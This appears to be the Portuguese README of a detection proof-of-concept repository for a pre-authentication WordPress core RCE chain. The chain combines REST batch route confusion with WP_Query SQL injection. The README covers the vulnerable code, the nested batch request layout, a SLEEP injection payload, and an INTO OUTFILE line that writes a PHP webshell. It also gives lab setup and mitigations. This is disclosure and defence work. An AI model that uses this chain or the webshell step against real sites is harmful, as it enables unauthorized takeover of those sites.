
RCE pré-autenticação no WordPress Core via confusão de rota batch da REST API + SQLi no WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de detecção.
Pré-autenticação, não autenticado, sem plugins necessários. Funciona contra uma instalação padrão do WordPress através do endpoint de lote da REST API.
| CVE | CVE-2026-63030 (confusão de rota → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| Descobridor | Adam Kues — Assetnote / Searchlight Cyber (apelidado "wp2shell") |
| Afetado | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (cadeia RCE completa) · 6.8.0 – 6.8.5 (apenas SQLi) |
| Corrigido | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | Crítico (cadeia RCE) / Moderado (SQLi isolado) |
| Blog do pesquisador | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
Dois bugs no núcleo do WordPress, encadeáveis para execução remota de código não autenticada:
WP_Query quando author__not_in é uma string
em vez de um array — a verificação de sanitização is_array() é ignorada
e o valor bruto é interpolado numa cláusula NOT IN (...).WP_REST_Server::serve_batch_request_v1()
— sub-requisições WP_Error são inseridas em $validation[] mas não
em $matches[], causando um deslocamento de índice +1. A sub-requisição i
acaba sendo despachada com o manipulador da sub-requisição i+1.Nenhum bug isolado é suficiente: a REST API sanitiza author_exclude
(type: array, items: integer) antes de chegar a WP_Query, e o
endpoint de lote rejeita sub-requisições GET (enum: POST, PUT, PATCH, DELETE). Encadeá-los através de uma dupla confusão contorna ambas as
defesas e atinge o SQLi não autenticado.
src/wp-includes/class-wp-query.php (CVE-2026-60137)Vulnerável (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → ignorado
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
Quando author__not_in é uma string, o ramo is_array() é ignorado;
(array) "payload" avalia para ["payload"]; implode(',', ...)
retorna a string bruta, que é interpolada diretamente no SQL.
Correção (6.9.5): usar wp_parse_id_list() que aceita qualquer formato de entrada
e retorna uma lista sanitizada de inteiros.
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// Laço de validação
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NÃO é anexado
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Laço de despacho — indexa $matches[$i] com o $i ORIGINAL
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← deslocado em um após um WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
Uma única sub-requisição WP_Error (ex.: caminho malformado) na posição 0
desloca cada entrada subsequente em um. A requisição i é então despachada
com o manipulador da requisição i+1.
Correção (6.9.5): anexar $matches[] = $single_request; também para o caso
de erro. Endurecimento adicional interrompe rest_api_loaded() /
serve_request() enquanto um despacho já está em andamento.
┌──────────────────────────────────────────────────────────────────────┐
│ LOTE EXTERNO (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NÃO em $matches │
│ [1] path = "/wp/v2/categories" → carrega lote aninhado no body │
│ body = { "name": "x", │
│ "requests": [ LOTE_INTERNO ] } │
│ Validado contra categories → campo "requests" intocado │
│ [2] path = "/batch/v1" → manipulador batch → desloca para [1]│
│ │
│ Deslocamento externo: request[1] despachada com manipulador de │
│ request[2] = serve_batch_request_v1. O endpoint batch NÃO tem │
│ permission_callback → dispara não autenticado. O body de │
│ request[1] foi validado contra a rota *categories*, então as │
│ sub-requisições aninhadas NUNCA foram verificadas contra o enum │
│ de método batch → sub-requisições internas podem usar GET. │
├──────────────────────────────────────────────────────────────────────┤
│ LOTE INTERNO (processado dentro de serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NÃO em $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validado contra categories → author_exclude NÃO sanitizado │
│ [2] GET /wp/v2/posts → manipulador get_items → desloca para [1]│
│ │
│ Deslocamento interno: inner[1] despachada com manipulador de │
│ inner[2] = WP_REST_Posts_Controller::get_items. A string não │
│ sanitizada author_exclude é mapeada para author__not_in e passada │
│ para WP_Query → INJEÇÃO DE SQL. │
└──────────────────────────────────────────────────────────────────────┘
O fragmento SQL resultante é:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) dispara uma vez por linha de post correspondente, então o atraso total é
aproximadamente N × <número_de_posts_publicados> segundos.
A injeção apenas SELECT (sem consultas empilhadas, $wpdb usa
mysqli_query) ainda produz RCE em pilhas LAMP típicas quando o usuário
MySQL tem privilégio FILE — que é o padrão em muitos hospedeiros
compartilhados e servidores autogerenciados:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
escreve um webshell PHP na raiz web, acessível em /x.php.
Caminhos alternativos (sem necessidade de privilégio FILE) incluem ler o
hash da senha do admin via SQLi cego UNION/booleano e enviar um
plugin malicioso através da UI administrativa autenticada.
uso: poc_wp_batch_sqli.py [-h] -t ALVO [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
O PoC realiza dois testes não destrutivos:
| Teste | Método | Seguro? |
|---|
# uso básico
python3 poc_wp_batch_sqli.py -t http://alvo/
# SLEEP mais curto para triagem mais rápida
python3 poc_wp_batch_sqli.py -t http://alvo/ --sleep 3
# teste apenas de confusão estrutural de rota (sem SLEEP)
python3 poc_wp_batch_sqli.py -t http://alvo/ --confusion-only
# verboso / sem cor
python3 poc_wp_batch_sqli.py -t http://alvo/ -v --no-color
Exemplo de saída contra uma instância vulnerável 6.9.4:
[+] CONFIRMADO — requisição interna[1] (categories) retornou dados de POSTS.
Dupla confusão ativa: nível externo contorna enum de método batch,
nível interno despacha parâmetros de categories com o manipulador de posts.
[*] Deteção de SQLi cego baseado em tempo (SLEEP=3s)
linha de base: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERÁVEL — resposta atrasada em 9.0s (≈ 3 linha(s) de post × SLEEP(3)).
Sem atraso / sem confusão estrutural ⇒ corrigido (6.8.6 / 6.9.5 / 7.0.2).
requests (pip install requests)A maneira mais fácil de reproduzir é com as imagens oficiais do Docker (o atualizador automático terá corrigido a maioria das instâncias ativas dentro de horas da divulgação):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# execute o instalador (ou use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
Para o passo INTO OUTFILE → RCE, conceda privilégio FILE e garanta que o
processo DB possa escrever na raiz web (LAMP de servidor único, ou um volume
compartilhado no Docker):
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE), então a maioria dos sites ativos já estão
corrigidos.POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE do usuário DB do WordPress:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv está definido (não vazio):
secure_file_priv = /var/lib/mysql-files
| Data | Evento |
|---|---|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 lançados |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf publicados |
| 2026-07-17 | Assetnote / Searchlight Cyber publica advisory "wp2shell" + verificador https://wp2shell.com |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.phpEste repositório contém apenas um PoC de deteção — ele usa SQLi cego baseado em tempo e inspeção estrutural de resposta. Ele não extrai dados, escreve arquivos ou tenta RCE. A vulnerabilidade já foi corrigida e divulgada publicamente pelo WordPress e pelo pesquisador original antes deste código ser publicado.
Use apenas contra sistemas que possui ou está autorizado a testar.
MIT — veja LICENSE.
| Confusão de rota (CVE-2026-63030) | Estrutural — verifica se a requisição interna[1] (categories) é despachada com o manipulador de posts, inspecionando o corpo da resposta por campos exclusivos de posts | Sim |
| SQLi (CVE-2026-60137) | Cego baseado em tempo — injeta SLEEP(N) via author_exclude e mede a latência em comparação com uma linha de base benigna | Sim |